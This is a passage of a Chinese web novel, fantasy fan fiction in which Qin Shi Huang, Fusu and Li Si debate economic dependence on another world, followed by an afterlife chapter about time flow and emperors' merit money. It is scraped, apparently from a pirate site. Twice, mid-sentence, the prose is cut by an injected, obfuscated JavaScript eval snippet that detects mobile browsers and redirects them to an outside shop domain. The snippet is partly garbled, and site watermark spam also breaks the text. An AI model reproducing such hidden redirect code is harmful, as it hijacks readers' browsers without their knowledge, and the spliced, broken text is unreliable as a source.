人一走,扶苏的笑容就消失了: “去把李斯给孤叫过来。 侍从自太子的微笑越来越温和起,就自觉垂下了脑袋,不敢再看。 这人傻傻的没有危机感,他们却是知道太子根本就不是什么好说话的人。笑成这样就是在心里盘算着怎么收拾人了,果然,李相公头一个遭殃。 李斯被人紧急叫进宫来的时候,已经听侍从略略提过了宫内发生了什么事。他在宫中还是有些人脉的,多的是人愿意给老丞相通风报信。 但进屋见到面无表情的太子时,李斯还是有点犯怵。 他都好些年没见太子殿下这样了。 为什么他一个已经致仕的老骨头还要遭遇这种事情? 被太子拎进宫里来单独教育,从某种程度上来说和毕业了还被老师叫去办公室批评也没什么差别。 或者说,他这样属于自己毕业了但家里孩子还没毕业。不幸都在同一个老师手里上学,因为孩子犯错被叫了家长。 总之都很惨。 李斯先低眉敛目地恭敬行礼: “臣参见殿下。 扶苏明知故问: “李爱卿可知自己缘何被传唤入宫? 李斯不敢说谎,头垂得更低了: “臣不曾约束好姻亲,竟叫他们借臣的名义肆意妄为,还请殿下责罚。 扶苏挑起眉: “爱卿这会儿倒是知道的很清楚了,早干什么去了?他们难道是今日才开始行事嚣张的吗? 李斯无言以对。 扶苏看着他就想起了之前在华国了解到的那些历史,说李斯和赵高胡亥串通矫诏。他当时被别的事情拉走了注意力,再 加上又不是自家发生的事情,就没有和老丞相计较。 这会儿扶苏也没打算计较,只不过越发认定了李斯这老小子就算致仕了也不能放任不管。 他就是个需要人时不时警告一下的性子,不然容易闹出事情来。 扶苏也没多批评老丞相什么。 对方也不是小孩子了,自己心里很清楚有哪些事情是君上不允许的。这次之后回去会好好约束亲族,不敢再松懈。 所以扶苏只是意味深长地说道: “爱卿是跟随父亲一路走过来的能臣,应当知晓大变革的时期,危机与机遇共存。有些事情看似没什么要紧的,却是在为未来埋下祸根。” 李斯神色一凛,连忙拱手称是。 扶苏示意他回去好好想想。 李斯脚步沉重地往外走,心里在琢磨太子殿下的提点。 大秦迎来了新一轮的变革,他们李氏却没赶上趟。因为领头羊李斯已经致仕了,如今的马首是他长子李由,但李由远不如李斯那般能干。 虽然陛下有重新任用李斯的想法,毕竟他成为觉醒者后身体在一天天变得年轻强健,完全可以继续为大秦发光发热许多年。 但李斯一日没有归朝,这种事情就一日说不好的。万一他因为亲戚的拖累被君上厌弃,李氏怕是就要没落下去了。 多的是家族会抓住这次机遇崛起,威胁到李氏一族的地位。 李斯心想,自己是该回去好好整顿一下那些拎不清的亲眷了。 他叹了口气,加快脚步出宫。 刚走到宫门口准备上车时,忽然灵光一闪,险些一脚踩滑摔下来。 仆从连忙扶住他: “相公!” 李斯站稳身形,面色剧变: “我先不回去了,你给夫人传个信,叫她不必担忧。我有事要求见陛下,不知何时才能出宫。” 仆从不明所以,但还是目送李相公急匆匆回了宫内。 秦政正在查看边郡奏报。 将军们这些日子一直在外征战,趁着诡异肆虐愈演愈烈、境外黎庶急需庇佑的机会,拿下他们的地界,并入秦土。 只要大秦正式在那些地方设郡设县,当地就会受扶苏每日的许愿庇佑,不再出现令人猝不及防的本土诡异 。 本土诡异是会到处乱跑的,难抓也难管。有时候过于隐蔽,害了好多人都没被发现,远不如异界诡域来得安稳。 至少诡域只会在出现的时候吞噬正好处在入口范围内的人,而且大秦境内的诡域还会有专人及时援救和处理。 见识过秦土有多安稳后,那些饱经风霜的人们自然愿意接受自己的家乡被大秦吞并的现状。 没有什么比安稳地活着更重要。 如今秦国铁骑已经占领了西羌和西域,正准备整顿兵马继续往外发展,外头就是华国定义的中亚区域了。 一年多的时间,大秦已经吞并了华国版图上已有的全部区域。 本来还能更快的,只是士兵人数不够。而且他们还得将各地筛查一遍,确保没有漏网的本土诡异,清理干净了才能接着往外打。 李斯来求见的时候,秦政恰好看完了一封奏报,就放人进来了。 秦政探究地看向李丞相: “爱卿忽然入宫,可有要事?” 李斯只觉得陛下如今的压迫感比以往更重,也不知道是不是变诡的影响。 别看陛下在太子跟前依然是那个绝世好爹,太子不在的时候可谓是要多冷酷有多冷酷,完全瞧不出往日里温和的模样。 李斯面对太子还能稍稍淡定一些,来到陛下跟前却是一句话没说,冷汗已经出了满头。 秦政从他进门就看出他心虚了。 身侧的侍官小声提醒: “李相公的姻亲求见太子,事后太子便将相公传唤入宫了。” 短短一句话,信息量巨大。 秦政的眼神顿时犀利起来: “太子不高兴了?” 侍官:…… 但李斯并不是来自首这件事的,他方才上车的时候忽然明悟了太子殿下和他说的那番话,到底是个什么意思。 起初李斯以为太子说的是如果他不管好亲眷,以后还有的是苦头吃。可实际上太子是暗示他更深层次的东西,就看他李斯能不能听明白、抓住这次机遇了。 现在,大秦上下都沉浸在从异界获得了好东西的喜悦中。 甚至有些人还飘了,觉得用点不值钱的东西就能换来这么多好物。那不是更应该多多交换,把异界当代工厂不 断压榨对方吗? 贵族的本质是剥削一有机会就不会放过攫取利益的机会。 李斯深吸一口气: “回禀陛下臣以为异界的经济入侵不得不防。” 现在看起来是大秦占便宜了低价弄到那么多好东西。可长远看谁占便宜还真不一定。 只拿诡力手电筒举例吧。 这是个好用的器具成本低廉售价也不高。大秦批量采购一大堆花不了多少钱却能大大改善人民生活。 但是东西坏了大秦能修吗?不能因为大秦没有相关技术高度依赖进口。 一个国家如果境内的很多实用好物都全靠从他国进口获得不能自己造、不能自己修国民习惯了用这些东西本质上不就是被别人拿捏住了命脉? 现在是一些小东西以后类似的情况会越来越严重。 李斯深色凝重: “臣那姻亲甚至提出了想要异界的电器等物若是电器想要普及难免需要异界进入大秦铺设他们那些基础设施。” 华国曾经多次援助小国帮他们搞基建这方面经验充足。如果大秦真的提出类似的需求利益给够华国肯定是不会拒绝的。 但这一整套的东西全都是大秦自己弄不来的。连修都不会修一旦出现点状况就得对面派人来售后。 扶苏连两界交易的诡域都特意挑选个山谷设置入口就是方便驻守防备异界人从这里突破进入大秦境内。 两界来往过密难道真是什么好事吗? 至少在科技相差巨大的时候 对面只是送了点商品过来大秦这头自己就被糖衣炮弹腐蚀了。这是一种非常隐晦的经济战可怕的是大秦上下好像除了太子殿下没有人发现不对劲。 就连擅长经商的商蔓都只想着怎么压价采购。 对面未必有借此掌控大秦的意图但事情的走向却在是朝着这点发展。 长此以往对大秦的统治极为不利。 而且大秦会防备对面对面就不会防备大秦吗? 大秦看起来如此危险又能随意来往于异世界。换位思考对面会不会想掌握一些能够限制大秦的筹码以确保自身的安危? 害 人之心不可有,防人之心不可无! 李斯滔滔不绝地分析了一大堆,思维转得前所未有地快。涉及到大秦主权方面的事情,他的雷达就动了。 秦政听完之后却没什么反应。 这些事情他早就听扶苏说过了,不过父子俩一直都没在朝中提出,而是默许纵容了贵族们越来越追捧异界商品。 因为他们在等一个合适的时机,等一个合适的人跳出来“劝谏”陛下千万不要放松警惕。 大秦需要自己发展科技,自身强大到能生产那些东西的地步。一直依赖进口只会脖子被人卡得越来越紧,高高在上地将异界当成任大秦攫取的对象更不可取。 现在,这个人出现了。 秦政看向这位当年以《谏逐客书》一举扬名七国的能臣,总算露出了一丝欣慰的表情。 这样的事,果然还是李斯来做最合适。 秦政沉静地看向李斯: “丞相既然已经有了见解,不妨再写一封《谏书》,明日早朝与群臣共议。” 李斯顿时福至心灵,赶紧深深一揖: “是!臣遵旨!” 出宫时,李斯的脚步都是飘的。 不是,这天降馅饼就砸他脑袋上了?方才陛下是称呼他为丞相吧?不是爱卿而是丞相,这是恢复他的官职了? 李斯兴奋地回到家中,李夫人早已等候多时。见他回来立刻迎上去,担忧地询问发生什么事了。 李斯按捺下激动: “陛下要重新重用我了!” 李夫人不解: “你不是才被太子训斥过?” 李斯矢口否认: “胡扯!太子殿下极爱我,怎么可能训斥我?” 太子分明是送了他一场天大的造化! 他果然是太子殿下的第一心腹! 太子心里有他! 李夫人:…… 李夫人真想问问良人是不是脑子坏掉了,要不要去睡一觉清醒清醒。 但李斯已经摩拳擦掌要去写文章了。 他这文章要是没写好,明天坏了陛下和太子的大计,肯定没有好果子吃。想要成功复出可没那么容易,这件事还没有彻底落实呢。 唉,早知道当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481699|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初不那么着急致仕了。 主要是前些年老丞相被父子俩压榨得有些狠了,几次巡游都把人带上,然后天天加班干一堆活。赶路再加上加班,年纪又大了,实在有些吃不消。 这工作强度可比前世那位李丞相高得多。 毕竟重生而来的父子俩把很多事情都提前安排好了,就为了早些推行下去。他们倒是安排地起劲,下头施行的臣子给累够呛。 第二日上朝。 一夜没睡的李斯精神抖擞地带着他的新奏书来了,嘚瑟地站在百官最前列,和蒙毅冯去疾同一排。 蒙毅早有所料,一如既往的沉稳。冯去疾倒是意外地多看了他一眼,搞不懂这家伙怎么站这儿。 不过李斯不是敢僭越的人,他现在既然能堂而皇之的站在这里,必然是得到过陛下的授意。 果然,陛下和太子登阶落座的时候,并没有对李斯的站位提出异议。 侍官例行询问殿下可有人启奏。 李斯没给任何人反应的机会,头一个上前抢占了先机,呈上自己的奏书,然后直接开始背诵文章内容。 这篇文章已经写尽了他想说的话,详略得当、清晰明了,直接背这一篇就足够让权朝野听明白经济命脉被人捏在手里会有什么后果了。 秦政拿着李斯的手写版文章细细欣赏了一会儿,对他的创作成果还算满意。 他看完递给儿子。 扶苏接过去一目十行扫完,微笑着小声同父亲说道: “果然还是李丞相适合做这事。” 这些天扶苏提醒过的人可不止李斯一个,他还提醒过王绾、萧何、吕雉等几个盯着相位的人。 可惜,只有李斯明白了他的深意。 或许是其他人经验还不足,又或许注定李斯是大秦第一丞相,相位候选人里永远只有他最能对上父子俩的脑回路。 其他人或许再给他们一些时日,他们也能看出其中端倪。但能在扶苏的提点后短短几刻钟内反应过来的,非李斯莫属。 秦政看向群臣: “诸卿以为如何?” 群臣还沉浸在李斯方才指出的犀利问题上。 其实大秦会出现这个问题,简单点说就是飘了,所有人都飘了。 灭六国的功绩,加上诡异降临后大秦碾压诡异的现 状,以及未来可期的“占领全世界,叫这些见证大秦迈入辉煌的贵族们飘得找不着北了。 扶苏轻轻一笑: “诸位莫不是把异世界的国家,当成了六国那等蠢货? 六国对付起来没什么难度,哪怕像军事实力强大的赵楚,也在政治方面存在着难以忽略的短板。 更别提外头的国家了,西方除了少数几个强大政权外,剩下的都是部落。 如果因为旧日的敌人和如今本界的敌人都轻易可以覆灭,就连带着异界的国家也一并轻视。那等待大秦的,只怕不会是什么好下场。 异界如今靠着和大秦的交易,已经拥有了高阶觉醒者。虽然他们的顶尖觉醒者不如大秦,大秦有意控制了给出去的血液等级,让对面短时间内培育不出超过丙级的觉醒者。 可异界有威力恐怖的枪炮,大秦顶得住这个吗?人家发展了百年的高科技武器,这群人莫不是以为那东西好对付? 秦政看着下面沉默不语的群臣。 他倏然想到了数年前,那个时候的大秦刚一统天下没多久,也出现过类似的情况。 那次是大秦靠着丝绸之路完成了东西方的来往,叫秦人看到了自己在技术上的强大。而西方远远不如他们,一直在不断地为大秦输送去过的寻常商品付出高昂的金银。 大秦在吸西方的血,所有人都心知肚明这一点。再加上技术上的优势,所以他们瞧不起西方人。 那时扶苏曾提出一个观点: “要不断打击西人的自主研发能力,不给他们发展技术的机会。一旦哪天他们的技术超过大秦,就很有可能反过来吸血大秦。 桥松听到父亲这么说,他的反应是什么呢? 他是很不屑地表示: “西人不可能超过大秦。 扶苏那时只是嘲讽地轻笑了一声,什么都没有说。 但是秦政听出来了,他嘲讽的是秦人飘了。秦人隐藏在心底的骄傲自满被太子一眼看了出来,靠这个方式挑破,呈现给父亲看。 统一六国,多大的功绩啊。它是美味的膏腴,也是致命的毒葯。 就像如今,统一全世界,同样是前无古人后无来者的卓越功勋。秦国还没有拿到手,但是秦人已经提前庆功上了。 秦政扫过面色各异的群臣: “诸卿难道只会压榨旁人获利吗?” 贵族们也要改改自己这些臭毛病了不想着自己生产只想从别人手里以微小的代价获取。 以前压榨庶民那是仗着庶民无力反抗。现在企图压榨异界的国家不会以为人家跟庶民一样弱小可欺吧? 免费的才是最贵的。 同理便宜廉价的商品也代表着未来你将付出更多代价补上它的差额。 这一日的早朝匆匆结束。 在李斯那篇文章背完之后已经没有人有心思讨论其他事情了。而且今日本来也没什么大事最近大秦太平得很。 桥松快步跟上了祖父和父亲。 回道乾元宫正殿桥松就迫不及待地发问了。他觉得今日的事情很蹊跷李斯怎么突然就官复原职了? 扶苏把玩着镇纸: “因为大秦现在需要他复出。” 桥松皱眉: “可是如今是三相并立……” 扶苏含笑看向他: “大秦的国土越来越大两个丞相已经不够用了。” 不能在外头搞分封但是光有洲际长官还是不够的。先王们可以去当洲长可洲长也得配备足够能干的副手。 不仅如此中央也得有足够的丞相辅助秦政处理政务。 桥松顿时明白了: “日后洲长身边会有次一等的洲相而都城也得有更多的丞相。” 这次就是在筛选谁当那个留在都城的丞相谁当被派遣去地方的洲相。李斯先夺得了一席之位其他人还需努力。 秦政端起茶盏抿了一口: “丞相有四人即可。” 毕竟洲相们还是很能干的 如今还剩一个席位而外头虎视眈眈的人数却不少。 桥松好奇地问道: “还有一个人选会是谁?” 秦政没有回答。 扶苏反问他: “你觉得谁最合适?” 桥松沉吟片刻: “吕雉或者萧何。” 但具体是谁他有些拿不准祖父和父亲的想法。 秦 第 237 章 【全息网游】 第237章【全息网游】 虽然先王们是突然说要带父子俩一起走的,但职位更替早就打过了招呼。秦政在处理洲相们升任洲长这件事时,心里就已经有数了。 所以秦政早就做好了准备,将政务交接给了曾孙柏舟。 这会儿秦稷来喊父子俩走人,扶苏是高高兴兴地就要拉着父亲跟着离开。秦政反手摁住了儿子,让他先别着急。 扶苏不明所以: “怎么了? 秦政提醒他: “你把你儿子忘了。 扶苏恍然大悟: “对哦! 匆匆赶来的桥松:……呵呵。 不仅他爹忘了还有他这么个人,先祖们也忘了。昭襄王只说要带祖父和父亲离开,完全没想起来他秦桥松。 真是气人。 幸好还有祖父记得他,果然天底下只有祖父最好。 扶苏看到桥松就想到其他儿女: “舜华他们也要带走吗? 这就得问秦稷了,不知道昭襄王是否清楚他和父亲来到此界时,带了多少人一起来。 秦稷回忆了一下: “应该就你们三个。 扶苏当时还没意识到这件事的严重性。 等回到地府记忆恢复后,他猛然惊觉只有一个桥松能被直接带回地府,意味着自己剩下的那些弟妹都是新位面里出现的新人。 弟妹数量一下子多了三十几个。 本来,扶苏只需要和前世还有今生的一共双倍弟妹争宠,现在变成了三倍。 扶苏好气呀: “阿父怎么能偷偷多了那么多儿女?! 小太子呜呜呜地趴在小阿父身上控诉亲爹太过分了。 秦帝搂着怀里的小崽崽: “不要紧,朕只有一倍的儿女。你若是生仲父的气了,就跟朕回家。 秦政:…… 秦政伸出手: “秦梓桑,不许假哭。 扶苏崽乖乖从小阿父怀里退出来,扑进阿父怀里撒娇。他就装个可怜卖个惨,没有跟着小阿父跑的意思。 秦政瞥了一眼幸灾乐祸的秦帝。 这家伙之前几十年不见,好不 容易看着稳重妥帖了一些。后来回到地府和扶苏待久了之后,又被传染同化了。 他小时候就很能配合扶苏演戏。 扶苏拐带公子政出门玩,不带护卫随行就乱跑。回到家被他逮住了,扶苏就真能好意思躲在小孩子身后求保护。公子政还当真挡在扶苏跟前说什么“仲父你要罚就罚我吧,阿苏是无辜的”。 从那个时候起,秦政就知道这小子不是什么正经人。能和扶苏一起胡闹的,多多少少是个狡猾的白切黑。 果然,现在一有机会就想把扶苏拐走。 秦政捏住儿子的胖脸蛋: “朕难道不是陪你出去玩的?是朕自己给自己弄出额外儿女的吗?” 扶苏崽崽甜甜地说: “我只是吃醋,阿父不要生气。” 说着说着小孩又得意起来,因为阿父的其他儿女都是有三份的,只有他秦扶苏是独一份。 哼,活该他们争宠争不过自己。 秦政听了他的絮絮叨叨,点头附和: “也是,朕只有你一个扶苏,你小阿父可是有两个。” 看戏的秦帝:…… 好,现在轮到自己陷入劣势了。 你仲父终究是你仲父。 秦帝甘拜下风。 玄景得到阿兄回来的消息,就立刻从家中赶来了。 之前父子俩去残缺位面的时候,他觉得住在这里人生地不熟的,还要面对扶胥,有些尴尬,就回去了。 不过回也不是回拥有四国的位面,而是他自家的大秦位面。比起穿越后认识的臣子,显然穿越前的那些玄景觉得更熟悉和亲近一些。 一来就看到他哥又变小了。 玄景忍住吐槽他的冲动: “你们这次怎么去了那么久?” 扶苏把脑袋从父亲怀里抬起: “去了很久吗?” 两百年,好像是挺久的。以前就算最长的比如修真界和星际,都只过去了一百多年。 可这也是没办法的事,那两个世界反而比诡异大秦要好处理。修真界实力为尊,星际则早就习惯了星际联盟的存在。 不像诡异大秦,想要全球都接受自己被并入秦国之中,需要实打实的时间。各地文化风俗和语言都差 距太大了,时间太短根本起不了效果。 不过—— “残缺位面的时间流速不是很快么?” 所以那边过去两百年,地府应该过去没多久才对。先王们也没主动提交完整法则完善那个位面,除非法则自己完善了。 但就算它自己完善了,后头一段时间里它也会经历剧变。 秦帝就深有体会,毕竟仲父他们说回到地府后没多久就见到他下来了。而且一会儿下来一个晚辈,一会儿又下来一个晚辈,一口气下来好多代。 秦政也去查了一下。 位面确实完善了,却不是之前,而是现在正在完善。 应该是父子俩离开后没多久,最高法则判断这里成功完成了全球大一统,于是投射过来查看了一下情况。残缺法则趁机从它身上补全了自身,完成了修复。 即便如此,也不是每个位面都会在修复时和秦帝那个位面一样,一口气走过四百多年,让秦帝见到十代之后的晚辈。 毕竟各个残缺位面的流速不同,大部分都不会撞到这么高比例的流速。 所以在父子俩之前经历的位面里,就算法则修复后要持续一整个地府日的动荡,时间流速一直维持在很快的阶段,一般也就是过去个一两百年。 总之,这件事和父子俩在诡异大秦待了很长时间估计没什么关系。 他们俩的时间流速应该依然按照之前残缺位面的情况来算。 玄景回答: “这些我不清楚,我就知道你们去了大半年。” 秦帝猜测道: 小说的域名qiexs▇(请来企鹅 小说 看最新章节 完整章节) “残缺位面虽然总体时间流速快,但具体快慢也是存在区别的。或许这段时间经常经历慢速,就把时间拉长了。” 扶苏正要点头,突然想起什么: “昭襄王他们是不是经常和地府互通有无?” 残缺位面自己流自己的,前提是不和外界联通。一旦这里面有人跟地府中人通过地府光屏有所往来,就会把两界的时间流速拉到差不多的地步。 也就是说,秦稷要是经常跟地府里的老朋友唠嗑,就很有可能导致诡异大秦的时间流速变得和地府1:1,而不是之前的地府里一秒位面内一年。 在场四人都沉默了。 片刻后,秦政点了点头: “应当就是如此。” 很好破案了就是秦稷的锅。 玄景又问起他哥多了几十个弟妹的事情这可不是扶苏一个人的事毕竟玄景现在是扶苏的阿弟了他得问清楚。 玄景警惕地试探: “他们不会也跑来地府吧?” 扶苏“呵”了一声: “他们想得美活人就老老实实在阳世待着吧。” 玄景放心了: “那就好。” 那样对他来说阿兄的弟妹数量就和之前是一样的他的竞争对手没有增加。 玄景确定不是他哥故意抛下他大半年不回家这才满意了。搬回来住了几天然后才回去干自己的事情。 经弟弟这么一提醒扶苏就想起了被他忽略的事情。 怎么新生位面前情提要会和他与阿父的经历高度相似以前不都是和正史差不多的吗? 扶苏问了一下府君。 黄泉府君以前看着一问三不知现在倒是知道得挺多。扶苏十分怀疑他当初在装傻充愣 鹅小说更新,记住域名qiexs.com?(请来企 鹅小说 看最新章节 完整章节)明明知道愣说不知道。 对此府君表示: 「你是说你先祖们问我始皇帝进入地府后为什么沉睡的那件事?那我也是没办法啊重生和魂魄融合都是你们父子俩的个人隐私天道不让我泄露。」 扶苏接受了这个理由: 「所以先王们骂你屁用没有你也挺冤枉的有没有想过报复这群家伙?」 府君差点就被他把话钓出来了字打了一半赶紧删除重发: 「报复什么?他们也是关心则乱。好了不说这个了你刚刚是问诡异位面的事情是吧?」 扶苏:啧看来孤猜的没错。 不过扶苏也没揪着不放从善如流地聊起了诡异位面的事情。府君则发来了一份同人文让他自己看去。 扶苏翻开一看。 他和父亲因为是书中人物的关系原著作品当然会有读者阅读。既然有了读者有人基于这个故事写一篇同人也就不算怪事了。 诡异位面的蓝本就是这篇同人写的是重生后始皇帝又在前世同一个时间点驾崩的if线发展。 但是同人作者又不是真的来发刀子的所以她增加了诡异复苏的元素。 原著剧情一直是父子俩老老实实在大秦处理诡异作乱的问题,直到后期国内的事情搞定了,才出现异界诡域。 异界诡域属于中后期开的新地图,国内已经没什么好写的了,读者也看腻了。所以开点新地图,方便继续更新剧情,也给读者一些新鲜感。 结果扶苏一来就先许愿,把异界诡域给提前放了出来,故事走向直接歪到了另一条路上。 可见同人作品总是会和正主产生一定偏差的,当把本尊真正放在同样的境地上时,做出的决定并不会完全一致。 扶苏满足了好奇心就没再往下看了。 自己看自己的同人很尴尬的,尤其是描写时总归会有一些OOC的地方。 秦政倒是看了,看完还点评一句: “你若有书中太子半分听话,朕也就不用日日为你担忧了。” 扶苏:! 扶苏心想自己现在连书中人都比不过了是吗?可恶,书里的假人有什么好的? 扶苏立刻把那篇文从父亲的光屏里删掉,不让那个纸片人继续待在阿父身边和他争宠。 小太子就是这么霸道。 秦政哭笑不得: “朕打趣你一下,你还吃上醋了。” 扶苏不服气地轻哼了一声。 秦政为了安抚宝贝儿子,只好不再提别的什么梓桑。还问府君要来了所有以他们的同人文为蓝本的世界球,暂时封锁起来,不让这些世界诞生。 以后如果他们想进去体验,再诞生也不迟。不想的话,还是就这么封着吧。 秦政并不希望当真又冒出几个秦梓桑来,神话大秦那边已经诞生了没办法,但是未来,他还是能掌控的。 对于府君来说很难搞的混沌世界球,在秦政这里处置起来没什么难度。成神之后做很多事情都从容起来,想暂时叫停一个孕育中的位面并不难。 这件事过去的几天后,秦稷登门,还带上了秦灵。 秦政看了看秦灵又看了看他: “你什么时候把秦灵拐带来的?” 秦稷有些得意: “之前回地府的时候就把祂夹带回来了,本来只是想试试,没料到祂真能随意来往于地府和阳世不受限制。” 说着他还提到诡异大秦如今已是完 整位面了,本来应该难以往来的,地府鬼魂不太方便去这种阳世里晃悠。 但秦灵不受限制,秦稷就跟着祂去了一趟,竟然又一次偷渡成功了。 如今的大秦已经又过去了两百多年,也就是说,大秦的国祚即将突破一千年大关,秦灵这几天就能正式迈入少年期。 这无疑是件好事。 只是,扶苏疑惑地反问: “高祖父难道不知道,诡异大秦本来就是可以随便去的吗?” 鹅小说的域名qiexs?(请来企 鹅小说 看最新章节 完整章节) 那是个拥有诡异的世界,存在超自然力量。就像灵异位面的阳世不限制地府鬼魂随意进出一样,诡异位面的阳世也是一个道理。 ——人家本来就有鬼,自然不在乎你们来往会不会破坏那头的无神论,那头就不存在无神论! 秦稷:…… 秦稷光记得以前自己想回自家的大秦受阻了,完全忘了受阻的原因不是鬼魂不能去阳世,而是鬼魂不能去无神论位面的阳世。 有点丢人了,好在秦稷脸皮厚不怕。 秦稷果断转移话题: “阿秦过几天就能进入少年期,到时候寡人打听一下哪里有其他国家的国灵,带祂去炫耀一番。” 这可是很少见的少年期国灵。 尤其是想到楚国燕国那几个国家,国祚将近九百年,眼看着距离一千年也没剩多少了,却被大秦覆灭。现在大秦的国灵超过了千岁,肯定能把他们气死。 秦稷最近已经带着国灵去各位面的六国国君跟前嘚瑟了一圈,但他觉得还不够,等秦灵进入少年期他打算再走一遍。 扶苏:好无聊的爱好。 扶苏等昭襄王走了,就和父亲吐槽他,说他也不嫌累,走了一圈还有闲心再走一圈。 秦政觉得扶苏没有资格说昭襄王: “你以前也做过这类无聊的事。” 扶苏自己做的时候怎么不说他自己也无聊?不过就是双标而已。 扶苏回忆了一下,回忆不起来了。忘了就等于没发生,所以太子殿下理直气壮地表示没有这回事,一定是阿父记错了。 父子俩又在地府待了小半个月。 期间不时听说秦稷又带着秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481700|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵去欺负了哪家的国灵,然后又被哪家聚众上门找麻烦。 但问题在于秦稷自己在 外头浪得没边,根本不回家。所以聚众上门也找不到秦稷头上,倒霉的成了他的亲朋好友。 比如被视为大秦领头羊的始皇帝。 秦政:…… 秦政整日给儿子收拾烂摊子就够够的了,并不是很想给祖宗也收拾。而且秦稷跟他血缘关系都隔了那么多代了,要出面也是人家亲爹亲儿子出面,找他干什么? 所以秦政也果断跑路了。 他把儿子一揣,就去了其他位面。 父子俩去过的位面多,留下的行宫也就不少。实在不行还能去有交情的始皇帝那边做客,这群人还能问到他们具体去了哪个位面不成? 等俩人避过风头回到骊山陵时,已经比预计的休假半个月额外多耗费了一个来月的时间。 期间秦稷上到夏商周下到元明清,一个都没放过。闹得梓桑位面的秦人集体出门躲清净,最后还是从留守的齐侯建这里听说都来了哪些人。 田建回忆了一下: “汉人、唐人、明人和清人来得比较多,其他的朝代来了也容易被他们三家嘲讽走。这几家关系也不怎么样,互相见了面肯定是要吵架的,别家吵不过。” “不过里头的清人比较例外,好像他们一来就容易被前头三家联手嘲讽。有时候遇到其他朝代,他们也会加入嘲讽清人的大军。但是清人好像不怎么在意,气得脸色铁青依然能硬着头皮待下去。” 扶苏就大概听懂了: “他们来了没找到秦人,就站在大门口自己吵架?” 那也是怪无聊的。 田建嘿嘿一笑: “来都来了,总不能白来一趟。” 找不到罪魁祸首泄愤,可不就只能互相吵吵架了吗? 田建估摸着他们可能想挑拨得清人受不了先动手打人,这样就可以理直气壮地打回去。 反正梓桑位面是出了名的只罚钱不关禁闭,本地的地府律就这样。汉唐明三家不缺钱,赔得起。只要他们不是第一个动手的,打起来肯定清人赔更多。 可惜清人好像大多都没什么钱,不敢随便打架。每次都只是自己在那儿生闷气,一家吵不过三家,还嘴都费劲。 扶苏不解: “他们没钱吗?为什么?” 末代几个皇帝没钱扶苏还 能理解,前头几个出名的怎么也得有点家底吧? 田建可是个八卦小能手,没有他不知道的,当即就给太子殿下分享了一下那家是怎么变的没钱的。 原来是后头几个皇帝功德太少,有一个还被倒扣了许多——说的就是乾隆。 法则结算功德的原则表面上是看你推行的利国利民的政策多寡,实际上看的是你执政后对文明的推进做出了多少贡献。 法则看的是文明进程、是文化繁荣这些,而不是在意人类的死活。所以乾隆那种给文物盖牛皮癣的糟蹋文化瑰宝行为,导致他倒扣了不少功德。 据说法则罚这个罚挺狠的。 类似的因为损害文明进程受罚的人也不少,不过大多都是乱世中的。那些人本来也没多少功德,早投胎去了。 田建背地里蛐蛐人: “清朝那个康熙,你们听过的吧?他生前就喜欢拿国库往外借银子,给群臣施恩,说大家日子过不下去家里没钱可以来借钱。后来国库没钱了,借款要不回来自己不去要,让他儿子去当恶人。 扶苏点头: “他又借钱出去了? 田建点头: “是啊,他虽然生气后代子孙不争气,功德都没多少。但是看别家皇帝整整齐齐那么多,他就不乐意自家人少,散了好多功德出去。 “他儿子雍正就相反,一毛不拔。谁来都不借,所以现在全家他最有钱。但是有钱也没用,他不给子孙花。 扶苏懂了。 康熙借钱给子孙,导致自己变穷。雍正看他爹这样觉得他们瞎搞,懒得掺和。乾隆自己都被罚了巨款,估计也没剩多少钱。 总之,一家子平均下来都很穷,难怪不肯和人打架扣钱。 说起这个扶苏就想到: “汉朝不是有很多皇帝吗?那些年纪小就夭折的估计也没什么功德,老刘家都不互帮互助的? 田建一听乐了: “老刘家能是互帮互助的人? 扶苏一想也是。 那没问题了,估计汉朝皇帝自己都想着小屁孩让他们投胎去重新做人挺好的,也就理直气壮地不管了。 其实真要管的话,汉高祖汉武帝光武帝昭烈帝那些手里钱都多,根本不存在清人这种给儿孙 分了钱全家就都陷入赤贫的问题。 告别齐王建后,扶苏和父亲讨论这件事,一致认为康熙挺抽象的。 始皇帝也有钱,但始皇帝绝对不会跟他似的闹得自己捉襟见肘。 大秦也不是没有需要接济的先王,每个月给他们点零花钱饿不死不就行了吗?康熙这是给出去了多少啊? 秦政淡淡地说: “他当年允许群臣去国库借钱时,只怕也以为臣子借不了多少。未料想群臣拿他当肥羊薅羊毛,缺不缺钱都去借。” 自己富得流油了,还要去借巨款,最后康熙成了个笑话。 这次估计也是没吸取到教训,又重蹈覆辙了。毕竟大部分人都是很难自我改正的,栽过的跟头八成还会继续再栽一次。 扶苏不解: “他看不到自己的余额变化吗?发现给出去的钱太多,那就别往外借了呀!” 秦政有个猜测: “如果他把账户交给其他人帮他打理呢?” 懒得自己管账,也懒得自己去处理亲戚借钱的问题。为图省事找了个人替他当账房,账房抹不开面子或者反正花的又不是自己的钱,就来者不拒了。 这件事也不难打听,至少难不住齐侯建。扶苏给田建发了个消息让他去问问,没过多久田建就回了信。 真让秦政猜中了。 扶苏看完差点没笑死: “他把账户丢给他心爱的好大儿胤礽打理,胤礽估计心里对他有怨气,故意往外散钱。” 前太子胤礽宁愿把他爹的钱散给他四弟的子孙,也要坑到他爹倾家荡产。 